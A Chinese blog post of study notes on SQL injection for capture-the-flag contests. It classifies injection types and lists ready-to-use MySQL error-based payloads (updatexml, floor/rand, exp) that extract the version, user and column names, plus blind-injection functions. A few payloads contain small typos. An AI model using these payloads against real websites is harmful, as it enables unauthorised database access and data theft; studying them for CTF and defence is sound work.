读书笔记:第2章SQL注入攻击

发布于 2020-08-02  30 次阅读


什么是SQL注入

直接将外来用户的输入和SQL语句进行拼接而可执行任意SQL语句。
注入的分类:
1. 可回显的注入
- 可以联合查询的注入
- 报错注入
- 通过注入进行DNS请求,从而达到可回显的目的
2. 不可回显的注入
- Bool盲注
- 时间盲注
3. 二次注入

解题思路:
比赛一般都会增加WAF,我们需要快速找到并绕过这个点,然后得到flag。

逐类分析

可以联合查询的注入:
通过union select注入,它是最简单易学的注入方法,如果题目可以使用联合查询进行回显的注入时,需要绕过即可。

报错注入:
利用MySQL数据库报错来注入。
updatexml,本质上是函数的报错。用法示例:

?id=1' updatexml(1,(select version()),1);#

floor报错基于rand、order by和group by的冲突。一些payload:

爆破数据库版本信息
?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
爆破当前用户
?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
爆破当前使用的数据库:
database()
爆破指定表的字段
?id=1' and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,column_name,0x7e) from information_schema.columns where table_name=0x656d61696c73 limit 0,1) from information_schma.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

exp函数报错是溢出报错:

?id=1' and exp(~(select * from (select user())x))%23

Bool盲注:
开发者屏蔽了报错信息,但是真和假会有不同回显。
在盲注中常用substr(查询语句,1,1),left(查询语句,n),right(查询语句,n),ascii(),hex(),if

时间盲注
用函数来延迟回显。常用函数有sleep()和benchmark()


此夜亭下花落英,雁栖湖畔琴奏新。